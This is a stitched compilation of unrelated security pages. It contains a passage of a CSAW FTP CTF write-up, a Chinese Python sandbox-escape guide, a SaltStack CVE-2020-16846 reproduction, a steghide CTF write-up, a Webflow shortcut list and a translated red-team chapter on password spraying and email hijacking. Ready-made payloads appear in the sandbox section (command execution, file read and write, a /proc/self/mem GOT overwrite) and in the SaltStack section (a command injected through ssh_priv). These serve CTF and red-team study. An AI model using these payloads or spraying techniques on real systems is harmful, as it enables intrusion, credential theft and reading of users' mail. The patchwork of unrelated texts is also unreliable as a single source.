Przykładowa interakcja z programem (z komentarzami):
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
$ ./a.exe Taaaaa
3548828169
3538058430
2low (czyli `Ta` to za niski prefiks)
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
$ ./a.exe Tlaaaa
3548828169
3551103561
2much (czyli `Tl` to za wysoki prefiks)
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
$ ./a.exe Tkaaaa
3548828169
3549917640
2much (czyli `Tk` to za wysoki prefiks)
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
$ ./a.exe Tjaaaa
3548828169
3548731719
2low (czyli `Tj` to za niski prefiks)
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
$ ./a.exe TkCaaa
3548828169
3548839530
2much (czyli `Tk` jednak było ok, teraz próbujemy zmniejszyć trzeci znak)
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
$ ./a.exe TkBaaa
3548828169
3548803593
2low (czyli `TkC` jest dobrym strzałem, bo `TkCa` jest za wysokie, `TkBa` już jest za niskie)
(itd, itd)
W ten sposób trafiamy na hasło - TkCWRy. Przy wpisywaniu go do nc trzeba pamiętać żeby zakończyć wpisywanie za pomocą C-d zamiast entera, bo inaczej hash liczy się ze znakiem nowej linii i wychodzi błędny.
Więc mamy hasło i usera, wystarczy wykonać komendę pobierającą flagę:
$ nc -vv 54.172.10.117 12012
Connection to 54.172.10.117 12012 port [tcp/*] succeeded!
Welcome to FTP server
USER blankwall
Please send password for user blankwall
PASS TkCWRylogged in
RDF
flag{n0_c0ok1e_ju$t_a_f1ag_f0r_you}
Gotowe.
### ENG Version
We download linked file and we load it with IDA. It is, in fact, a FTP server, just as described.
In the strings in the binary we find all the commands supported by server (in help):
> USER PASS PASV PORT
> NOOP REIN LIST SYST SIZE
> RETR STOR PWD CWD
We look around the functions in the binary and the most interesting one seems to be the "undocumented" RDF function:
mov [rbp+ptr], rax
mov esi, offset aR ; "r"
mov edi, offset filename ; "re_solution.txt"
call _fopen
; (...)
mov rdx, [rbp+stream]
mov rax, [rbp+ptr]
mov rcx, rdx ; stream
mov edx, 1 ; n
mov esi, 28h ; size
mov rdi, rax ; ptr
call _fread
mov rax, [rbp+var_18]
mov eax, [rax]
mov rdx, [rbp+ptr]
mov rsi, rdx
mov edi, eax
call send_string_to_client
Unfortunately, calling this function requires authentication. Therefore we check the login function.
It looks like this (after re-writing it to C):
unsigned hash(char *txt)
{
int v = 5381;
for (int i = 0; txt[i]; ++i )
v = 33 * v + txt[i];
return (unsigned)v;
}
bool login_ok(char *username, char *password) {
return strcmp(username, "blankwall") == 0 && hash(password) == 3548828169;
}
(Those are at lest the important parts, without the I/O operations).
As can be seen the hash function is very simple so we could try to break it. It would not be very difficult, however we decided to take an even easier path - we noticed that the hash function is "monotonic" (every next character in the password has smaller influence on the ouput hash, so we can guess the password character by character). We prepared a tool for this:
int main(int argc, char *argv[]) {
char c[1000];
puts("3548828169");
unsigned rzecz = rzeczy(argv[1]);
printf("%u\n", rzecz);
if (rzecz > 3548828169) {
puts("2much");
} else if (rzecz < 3548828169) {
puts("2low");
} else {
puts("just enough");
}
}
An example of interaction with the script (with comments):
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
$ ./a.exe Taaaaa
3548828169
3538058430
2low (so `Ta` is too low for a prefix)
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
$ ./a.exe Tlaaaa
3548828169
3551103561
2much (so `Tl` is too high for a prefix)
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
$ ./a.exe Tkaaaa
3548828169
3549917640
2much (so `Tk` is too high for a prefix)
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
$ ./a.exe Tjaaaa
3548828169
3548731719
2low (so `Tj` is too low for a prefix)
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
$ ./a.exe TkCaaa
3548828169
3548839530
2much (so `Tk` was in fact OK, so now we try to lower the third character)
msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
$ ./a.exe TkBaaa
3548828169
3548803593
2low (so `TkC` is a good guess, since `TkCa` is too high and `TkBa` is too low)
(etc, etc)
This was we get the password - TkCWRy. It's worth noting to provide the input via nc and end it with C-d instead of Enter, otherwise the hash will include newline character and we get a wrong password.
So we have a password and username, we just need to issue a command to get the flag:
$ nc -vv 54.172.10.117 12012
Connection to 54.172.10.117 12012 port [tcp/*] succeeded!
Welcome to FTP server
USER blankwall
Please send password for user blankwall
PASS TkCWRylogged in
RDF
flag{n0_c0ok1e_ju$t_a_f1ag_f0r_you}
Done.
|
sec-knowleage
|
### Python 沙箱逃逸概述
我们通常所说的 Python 沙箱逃逸就是绕过模拟的 Python 终端，最终实现命令执行。
### Python 沙箱逃逸导入模块
在 Python 的内建函数中，有一些函数可以帮助我们实现任意命令执行：
```
os.system() os.popen()
commands.getstatusoutput() commands.getoutput()
commands.getstatus()
subprocess.call(command, shell=True) subprocess.Popen(command, shell=True)
pty.spawn()
```
在 Python 中导入模块的方法通常有三种（xxx 为模块名称）：
1. `import xxx`
2. `from xxx import *`
3. `__import__('xxx')`
我们可以通过上述的导入方法，导入相关模块并使用上述的函数实现命令执行。
除此之外，我们也可以**通过路径引入模块**：
如在 linux 系统中 Python 的 os 模块的路径一般都是在 `/usr/lib/python2.7/os.py`，当知道路径的时候，我们就可以通过如下的操作导入模块，然后进一步使用相关函数。
```py
>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os
>>>
```
**其他的危险函数举例**
如 **execfile** 文件执行
```py
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /etc/passwd')
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
>>> getcwd()
'/usr/lib/python2.7'
```
**timeit**
```py
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
```
** exec 和 eval 比较经典了**
```py
eval('__import__("os").system("dir")')
```
**platform**
```py
import platform
print platform.popen('dir').read()
```
但是，正常的 Python 沙箱会以黑名单的形式禁止使用一些模块如 os 或以白名单的形式只允许用户使用沙箱提供的模块，用以阻止用户的危险操作。而如何进一步逃逸沙箱就是我们的重点研究内容。
### Python 的内建函数
当我们不能导入模块，或者想要导入的模块被禁，那么我们只能寻求 Python 本身内置函数（即通常不用人为导入，Python 本身默认已经导入的函数）。我们可以通过可以通过 `dir __builtin__` 来获取内置函数列表
```python
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']
```
在 Python 中，不引入直接使用的内置函数被成为 **builtin** 函数，随着 **__builtin__** 这个模块自动引入到环境中。那么我们如何引入的模块呢？我们可以通过 **__dict__** 引入我们想要引入的模块。**__dict__** 的作用是列出一个模组/类/对象 下面 所有的属性和函数。这在沙盒逃逸中是很有用的,可以找到隐藏在其中的一些东西
**__dict__**能做什么呢？
我们知道，一个模块对象有一个由字典对象实现的命名空间，属性的引用会被转换为这个字典中的查找，例如，m.x 等同于 m.dict["x"]。
绕过实例：
首先通过 base64 绕过字符明文检测
```python
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
```
然后通过 **__dict__** 引用
```py
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))
```
*如果一些 内敛函数在 __builtins__ 删除 ，我们可以通过 reload(__builtins__) 重新载入获取一个完整的 __builtins__*
### Python 沙箱逃逸创建对象以及引用
Python 的 object 类中集成了很多的基础函数，我们想要调用的时候也是可以通过创建对象进而引用。
我们有常见的两个方法：
```bash
().__class__.__bases__[0]
''.__class__.__mro__[2]
如，我们可通过
`print ().__class__.__bases__[0].__subclasses__()[40]("/etc/services").read()`达到文件读取的效果，
```
**常见payload**
```py
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
```
### Python 沙箱逃逸write修改got表
实际上是一个 **/proc/self/mem** 的内存操作方法
**/proc/self/mem** 是内存镜像，能够通过它来读写到进程的所有内存，包括可执行代码，如果我们能获取到Python一些函数的偏移，如 **system** ，我们便可以通过覆写 got 表达到 getshell的目的。
```py
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))
```
第一个地址是 system 的偏移，第二个是fopen的偏移，我们可以通过 **objdump** 获取相关信息
|
sec-knowleage
|
# SaltStack 命令注入漏洞（CVE-2020-16846）
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。2020年11月SaltStack官方披露了CVE-2020-16846和CVE-2020-25592两个漏洞，其中CVE-2020-25592允许任意用户调用SSH模块，CVE-2020-16846允许用户执行任意命令。组合这两个漏洞，将可以使未授权的攻击者通过Salt API执行任意命令。
参考链接：
- https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
## 漏洞环境
执行如下命令启动一个SaltStack Master服务：
```
docker compose up -d
```
环境启动后，将会在本地监听如下端口：
- 4505/4506 这是SaltStack Master与minions通信的端口
- 8000 这是Salt的API端口，**需要通过https访问**
- 2222 这是容器内部的SSH服务器监听的端口
## 漏洞复现
向`https://your-ip:8000/run`发送如下数据包：
```
POST /run HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b
```
通过`ssh_priv`位置注入命令`touch /tmp/success`，进入容器可见已执行成功：
|
sec-knowleage
|
# Rick Roll Do Not Listen
Grab Bag, 100 points
## Description:
> *[Link to WAV file]*
>
> I don't know what you expected.
A file was attached.
## Solution:
If we listen to the file, we hear the infamous Rick Astley song [Never Gonna Give You Up](https://www.youtube.com/watch?v=dQw4w9WgXcQ).
However, if we use `steghide` with an empty passphrase, we get the flag:
```console
root@kali:/media/sf_CTFs/mitre/rick# steghide extract -sf RR.wav
Enter passphrase:
wrote extracted data to "flag.txt".
root@kali:/media/sf_CTFs/mitre/rick# cat flag.txt
MCA{asFSA9123mflZ01f}
```
|
sec-knowleage
|
---
title: Webflow
date: 2022-11-23 16:23:31.703217
background: bg-[#4450ee]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 41 keyboard shortcuts found in Webflow
---
Keyboard Shortcuts
------------------
### General
Shortcut | Action
---|---
`Shift` `/` | Show shortcut cheatsheet
`Ctrl` `Shift` `S` | Save as a snapshot
`Esc` | Deselect or abort
`Del` | Delete element
`Shift` `P` | Show publish dialog
`Shift` `E` | Show export code dialog
`Enter` | Edit element
{.shortcuts}
### View
Shortcut | Action
---|---
`Ctrl` `Shift` `P` | Preview mode
`Ctrl` `Shift` `G` | Guide overlay
`Ctrl` `Shift` `E` | Show element edges
`Ctrl` `Shift` `X` | X-ray mode
{.shortcuts}
### Left-hand Toolbar
Shortcut | Action
---|---
`A` | Show add panel
`Z` | Show navigator tab
`P` | Show pages panel
`Shift` `A` | Show symbols panel
`Ctrl` `Shift` `A` | Make selected element a symbol
`J` | Show asset manager
{.shortcuts}
### Right-hand Tabs
Shortcut | Action
---|---
`S` | Show style tab
`D` | Show settings tab
`G` | Show style manager tab
`H` | Show interactions tab
{.shortcuts}
### Copy/Paste
Shortcut | Action
---|---
`Ctrl` `C` | Copy
`Ctrl` `X` | Cut
`Ctrl` `V` | Paste
`Alt` `(drag)` | Duplicate
{.shortcuts}
### Undo/Redo
Shortcut | Action
---|---
`Ctrl` `Z` | Undo
`Ctrl` `Shift` `Z` | Redo
{.shortcuts}
### Device View
Shortcut | Action
---|---
`1` | Desktop
`2` | Tablet
`3` | Phone (landscape)
`4` | Phone (portrait)
{.shortcuts}
### Style Panel
Shortcut | Action
---|---
`Shift` `(drag)` | Margin or padding (on all sides)
`Alt` `(drag)` | Margin or padding (top and bottom, or left and right)
`Ctrl` `Enter` | Add class to selected element
`Ctrl` `Shift` `Enter` | Rename last class on selected element
{.shortcuts}
### Find
Shortcut | Action
---|---
`Ctrl` `K` | Quick find
{.shortcuts}
### Other
Shortcut | Action
---|---
`Alt` `(click)` | Expand or collapse panel sections
`Up/Down` | Select parent or child element
`Left/Right` | Select sibling element
`Alt` `Left/Right` | Select next or previous element
`Ctrl` `Shift` `L` | Toggle collaborators on selected element
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Webflow](https://university.webflow.com/article/keyboard-shortcuts-in-the-webflow-designer) _(university.webflow.com)_
|
sec-knowleage
|
# 第4章 带球——开始攻击网络
> 译者：[@Snowming](https://github.com/Snowming04)
>
> 校对者：[@鶇](http://wp.blkstone.me)、[@leitbogioro](https://github.com/leitbogioro/)、@哈姆太郎、@匿名jack
在进行风险评估项目的第二天，你使用 nmap 扫描了目标的全部网段，还启动了漏洞扫描器，但运气不太好，你没有探测出任何 Web 应用程序的初始入口点。这让你感到有些失败，需要反思一下，重新回顾一下之前收集到的所有信息。因为你知道，一旦可以进入目标网络，就可以使用无数的技巧来获得更多的凭证、在域中漫游、利用 AD（活动目录）的特性，最后找到我们要找的东西。当然，这不是一件容易的事。因为你要绕过众多防火墙，还要欺骗管理员，最后还要擦除自己的痕迹。
在上一本书中，本部分着重于使用漏洞扫描器来发现漏洞并利用它们。这是通过使用诸如 Metasploit、打印机漏洞、心脏滴血、Shellshock、SQL 注入等常见漏洞的利用工具来实现的。最近一段时间，爆出了很多严重的远程代码执行漏洞，比如 永恒之蓝（MS017-10）、多个版本的 Jenkins 漏洞、Apache Struts 2、CMS 应用的代码执行漏洞等等。因为本书是以红队的视角来阐述的，因此我们不会过多地关注如何使用这些工具来攻击利用特定的漏洞。相反，我们将关注如何利用公司现有的应用程序，就地取材来发现漏洞，然后攻破公司网络。
在本章中，将集中讨论红队的战术，如何利用公司基础设施、获取身份凭证、探索内部网络以及在主机和网络之间进行漫游。我们将在不运行任何一个漏洞扫描器的前提下完成这项工作。
## 从外网寻找侵入对方系统的登陆凭证
作为一个红队成员，找到最初的攻击点可能很麻烦，需要耗费大量的资源。在上本书中，我们尝试过伪造受害者的身份验证页面、购买非常相似的域名来对目标实施钓鱼，以及编写自定义的恶意软件等不同的方法。
有时候，我告诉我的红队队员要保持简单的思想。很多时候，那些令人称赞的高级手段，反而不如一些简单低级的方法管用，最简单的方法往往是最有效的。
最基本的技术之一就是暴力破解密码。但是，作为红队的一员，我们必须考虑如何巧妙地做到这一点。随着公司的发展，公司使用了更多的应用程序和技术工具。对于攻击者来说，这无疑为他们拓宽了进攻的大门。当公司开始暴露在互联网上时，我们看到公司需要对电子邮件（如 Office 365或 OWA）、通信工具（如 Lync、XMPP、WebEx）、协作工具（如 JIRA、Slack、Hipchat、Huddle）和其他外部服务（如 Jenkins、CMS 站点、支持站点）进行身份验证。这些就是我们的目标突破口。
我们试图攻击这些服务器和服务的原因是，我们需要寻找能对受害者的 LDAP 或 AD 这些基础设施进行身份验证的工具。这可以通过 ADFS 方式、单点登录（SSO）方式或者直接使用 AD 域认证等不同的方式来完成。我们需要找到一些可以利用的公共凭证，以便继续进行下一步的攻击。在信息收集阶段，我们发现并识别了大量的电子邮箱地址和用户名帐号，我们将对这些获取到的信息进行一种叫“密码喷洒”（Password Spraying）的攻击。我们将针对所有不同的应用程序，尝试猜测基本密码，正如我们在现实世界的 APT 活动中看到的那样（ US-CERT 文章：http://bit.ly/2qyB9rb ）。
> 译者注：“密码喷洒攻击”（Password Spray Attack）并不等同于“密码爆破攻击”（Brute Force Attack）。事实上，这两种攻击是相反的。<br>在密码爆破攻击中，黑客选择一个易受攻击的 ID 并一个接一个地输入密码，希望有一些密码可以让他们进入。基本上，密码爆破是用多个密码尝试破解同一个 ID。而密码喷洒攻击，是用一个密码来尝试多个用户 ID，以便至少有一个用户 ID 被泄露。对于密码喷洒攻击，黑客使用社交工程或其他网络钓鱼方法收集多个用户 ID。通常情况下，至少有一个用户使用简单的密码，如12345678甚至是 p@ssw0rd。<br>在密码喷洒攻击中，黑客会为他或她收集的所有用户 ID 应用精心构造的密码。因此，密码喷洒攻击可以定义为将相同的密码应用于组织中的多个用户帐户，目的是安全的对其中一个帐户进行未授权访问。<br>暴力破解的问题在于，在使用不同密码进行一定次数的尝试后，系统可能会被锁定。为了避免这种情况，产生了收集用户 ID 并将可能的密码应用于它们的想法。使用密码喷洒攻击时，黑客也会采取一些预防措施。例如，如果他们尝试将 password1应用于所有用户帐户，则在完成第一轮后，他们不会立即开始将 password2应用于这些帐户。他们将在黑客攻击中留出至少30分钟的时间。<br>参考资料：[Password Spray Attack Definition and Defending yourself](https://www.thewindowsclub.com/password-spray-attack)
那么，为什么要针对**不同的**外部服务进行身份验证呢？这是因为：
- 有些身份验证程序不会记录从外部服务尝试验证的次数。
- 虽然我们通常看到电子邮件或 VPN 系统要求双因素验证（2FA），但面向外部的即时通讯系统可能不需要。
- 密码重用的可能性非常高。
- 有的时候，当使用 AD 账户多次重复登录失败时，外部系统并不会将此账户锁定。
有很多工具可以实现密码喷洒攻击，但是，我们只关注其中的几个。第一个是来自 [Spiderlabs](http://bit.ly/2EJve6N) 的名为 `Spray` 的工具。尽管 Spray 使用起来有点复杂，但我非常喜欢它所支持的一些服务。例如，它支持 SMB、OWA 和 Lync（Microsoft Chat）。
要使用 Spray，你需要指定以下几个参数:
```shell
spray.sh -owa <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <Domain>
```
正如你将在下面的示例中看到的那样，我们使用 Spray 对 cyberspacekittens 上的一个 OWA 邮件服务器（该服务器现在已经下线了）进行密码破解，当它使用密码 Spring2018与用户名 peter 尝试进行配对时，成功的登进了系统。
我经常遇到的一个问题是，应该使用哪个密码进行尝试？因为在锁定帐号之前，只能不停的多次尝试密码。事实上这个问题没有正确答案，使用哪个密码非常依赖于这家公司的密码设置规定。我们过去可以使用一些简单密码进行尝试，比如“Password123”，因为总有一些人会因为图方便而使用简单密码。但随着人们安全意识的提高，现在现在越来越少人使用这种密码了，因而成功率也就变低了。现在的话，我们一般结合使用以下规则的一条到多条来构建我们的尝试密码：
- 月份和年份的数字组合。
- 当地的球队和球员的数字编号组合。
- 查看一些以前泄露出来的数据，找一些有没有目标公司的用户资料泄露，因为相同公司的用户可能会使用类似的密码。
- 公司名称+年份/编号/特殊的字符 (如!,$,#,@）
编好了密码之后，我们就可以24小时不间断缓慢地运行我们的账号破解程序，慢是为了避免触发任何帐号锁定。请记住，我们仅仅匹配成功一个账号就可以进入大门了！
<br> *此图是使用 Curl 对 OWA 进行身份认证的快速脚本*
配置 Spray 非常简单，而且其配置文件可以很容易地给其他类似程序参考使用。你需要做的是捕获登录密码时的 POST 请求（可以在 Burp Suite 中完成），复制所有请求数据，并将其保存到文件中。对于任何将要被破解的字段，你需要提供字符串“sprayuser”和“spraypassword”。
例如，在我们的例子中，`post-request.txt` 文件如下所示：
```
POST /owa/auth.owa HTTP/1.1
Host: mail.cyberspacekittens.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html，application/xhtml+xml，application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://mail.cyberspacekittens.com/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2fmail.cyberspacekittens.com%2fowa%2f
Cookie: ClientId=VCSJKT0FKWJDYJZIXQ; PrivateComputer=true; PBack=0
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
destination=https%3A%2F%2Fcyberspacekittens.com%2Fowa%2F&flags=4&forcedownlevel=0
```
> 译者注：最后一个 `destination` 字段的内容本书的英文版本貌似显示不全，至少是我拿到的英文版本 PDF 显示不全。我只是简单的复制自 PDF，读者注意一下。
如前所述，spray.sh 的另一个好处是它还支持 SMB 和 Lync。另一种具备这个特性的工具称为 [Ruler](https://github.com/sensepost/ruler)，这个工具还可以对密码喷洒攻击得到的结果进行进一步处理。Ruler 是 Sensepost 安全团队编写的一个工具，它允许你通过 MAPI/HTTP 或 RPC/HTTP 协议与 Exchange 服务器交互。虽然我们主要讨论使用 Ruler 来进行密码破解/信息收集，但是这个工具也支持一些持久性漏洞利用攻击，我们将略微提及这点。
我们可以用的 Ruler 的第一个功能类似于 Spray，它通过对用户名和密码进行匹配来进行账号的破解。Ruler 将载入用户名列表和密码，并尝试查找登陆凭证。它将自动寻找 Exchange 服务器的关键配置并尝试查找登陆凭证。
运行 Ruler：
```shell
ruler --domain cyberspacekittens.com brute --users ./users.txt --passwords ./passwords.txt
```
一旦我们找到了一个密码，我们就可以使用 Ruler 来获取 Office 365的全局地址列表（GAL）中的所有用户，以查找更多的电子邮件地址及其所属的电子邮件组。
我们继续将获取的这些电子邮件地址通过上面提及的那些密码破解工具来进行破解的尝试，从而获得更多的身份凭证——这就和滚雪球一样。不过，Ruler 的主要用途是，一旦你有了身份凭证，你就可以利用 Office/Outlook 的一些功能来在受害者的电子邮件帐户上创建规则和表单。这里有一篇来自 SensePost 安全团队的文章 [outlook-forms-shells](https://sensepost.com/blog/2017/outlook-forms-shells/)，介绍了他们是怎样利用这些功能来执行包含 Empire payload 的宏文件的。
如果你决定不使用 Outlook 表单，或者该功能已经被禁用，我们的思路还可以回到对电子邮件的攻击。这可能会让你感到有点邪恶，因为你将使用这些普通用户的账号登录并阅读他们的所有电子邮件。当我们兴奋的阅读某个用户的电子邮件时，我们会想要和某个他似乎有点信任（但又不算好朋友）的人进行对话。既然已经有了信任的基础，我们就可以利用这个机会给他发送恶意软件。通常，我们会篡改一次会话，在里面夹带附件（如 Office 文件/可执行文件），然后重新发给他们，不过这次附件包含了我们的恶意 payload。在受信任的内网连接和电子邮件之中传递恶意软件，成功掩护了我们的身份，并使这次行动获得成功。
本书始终强调的一点是，整个攻击行动的目的是为了测试蓝队的威胁检测工具和应急响应流程的效率。我们行动的目标非常明确，就是观察他们是否能够有所警觉。又或者像法医解剖那样，仔细复盘行动中发生的一切。对于本节的实验设计，我的想法是验证公司是否能够确定有人正在窃取用户们的电子邮件。所以，我们要做的是使用 [Python 脚本](https://github.com/Narcolapser/python-o365)来获取所有被破坏的电子邮件。在许多情况下，这可能是千兆字节的数据！
### 高级选修实验
一个很好的练习是：攻击不同类型的的身份验证服务并对其进行密码尝试。尝试构建一个密码喷洒（Password Spraying）工具，用于测试针对 XMPP 服务、常见第三方 SaaS 工具和其他常见协议的身份验证。最好是在多个 VPS 服务器中执行此操作，所有 VPS 服务器都由一个主服务器控制。
## 通过网络移动
作为一名红队成员，我们希望尽可能安静地在网络中穿梭。我们希望使用“特征”来查找和利用有关网络、用户、服务等信息。通常，在红队活动中，我们不希望在内网环境中进行任何漏洞扫描相关的活动。有时我们甚至不希望对内部网络运行 nmap 扫描。这是因为许多公司已经非常擅长检测这些类型的扫描，特别是在运行漏洞扫描器这样动静很大的东西时。
在本节中，你将集中精力在不触发任何检测防护的情况下在 CSK 的网络进行横向漫游。我们假设你已经以某种方式进入内部网络并开始寻找你的第一组凭证，或者已经拥有了一个用户机器上的 shell。
### 建立环境——实验网络
这部分完全是自定义的，但由于微软的授权限制，这本书里没法给你已经制作好的的基于 Windows 的实验环境部署环境。所以至于怎么做，就得看你的动手能力了！
真正学会如何攻击目标环境的唯一方法是自己亲手构建一下目标环境。这能使你更清楚地了解你正在攻击什么，为什么攻击有时候有效，有时候无效，并了解某些特定工具或流程的局限性。那么你需要建立什么样的实验环境呢？基于客户端的环境，Windows 和 Linux（甚至 Mac）可能都需要一个。如果你正在攻击企业网络，你可能需要构建一个完整的 Active Directory 网络（域环境）。在下面的实验中，我们将学习如何为本书中的所有例子构建一个测试环境。
一个理想的 Windows 测试实验环境，你可以自己创建，大概是下面这样的:
- 域控制器-服务器：[Windows 2016域控制器]
- Web服务器：[IIS on Windows 2016]
- 客户端机器：[Windows 10]x3和 [Windows 7]x2
- 全部运行着 VMWare 的工作站中，工作站的内存至少16GB，SSD 硬盘500GB
配置和创建域控制器:
- 微软关于构建2016版服务器的说明:
- https://blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in-windows-server-2016/
- 短地址：http://bit.ly/2JN8E19
- 安装和配置 Active Directory 之后，使用：dsac.exe 创建用户和组
- 创建多个用户
- 创建组并分配给用户（下面是分组）：
- Space
- Helpdesk
- Lab
设置客户端机器（Windows 7/10）加入域：
- 将所有机器都打好系统补丁
- 将机器连接到域
- https://helpdeskgeek.com/how-to/windows-join-domain/
- 确保添加一个域用户，该用户能够作为本地管理员在每个系统上运行。这可以通过将该域用户添加到本地机器上的本地 administrators 组来实现。
- 在每个主机上启用本地管理员并设置密码
将 GPO（组策略）设置为:
- 禁用防火墙 ( https://www.youtube.com/watch?v=vxXLJSbx1SI )
- 禁用 AV( http://bit.ly/2EL0uTd )
- 禁用系统自动更新
- 将 Helpdesk 用户组添加到本地管理员组
- 仅允许域管理员、本地管理员、Helpdesk 登录( http://bit.ly/2qyJs5D )
- 最后，将 GPO 设置同步到主域
将每个操作系统的所有用户设置为自动登录（这会使得攻击测试更加容易）。每次机器启动或重新启动时，它都会自动登录，这样我们就可以轻松地进行攻击并从内存中提取凭证：
- https://support.microsoft.com/en-us/help/324737/how-to-turn-on-automatic-logon-in-windows
- 短地址：http://bit.ly/2EKatIk
设置 IIS 服务器并配置 SPN：
- https://www.rootusers.com/how-to-install-iis-in-windows-server-2016/
- 短地址：http://bit.ly/2JJQvRK
- https://support.microsoft.com/en-us/help/929650/how-to-use-spns-when-you-configure-web-applications-that-are-hosted-on
- 短地址：http://bit.ly/2IXZygL
## 在内网中没有凭据
假设你无法通过探测外部服务获得任何密码，因此决定潜入大楼内部。你等到午饭后，潜入 Cyber Space Kittens 的办公室，找到吸烟室。即使你不抽烟，但你也知道抽烟的人有结伙心理。你点上一支烟，但是可以不和他们说话，但当他们走进他们的大楼时，你就可以跟着他们一起进去，轻松极了！
既然你已经闯入了 CSK 的内部环境，你可不想在那里呆太久被抓住。你拿出你非常信任的 drop box，找到一间空办公室，把它插上网络，检查你的手机，看看它是否正确传回了 beacon 到了你的家中，确认之后迅速逃回安全的地方。
当你汗流浃背地回到家时候，迅速地找到你的笔记本电脑，登陆你的 VPN 服务器，当你看到那个 beacon 还在连接家里的时候，你就可以松一口气了。现在你可以现在用 SSH 连接 beacon，可以慢慢地去拓展受感染主机的内部网络，在多个主机之间移动，并尝试拿到你所关心的数据。
### Responder
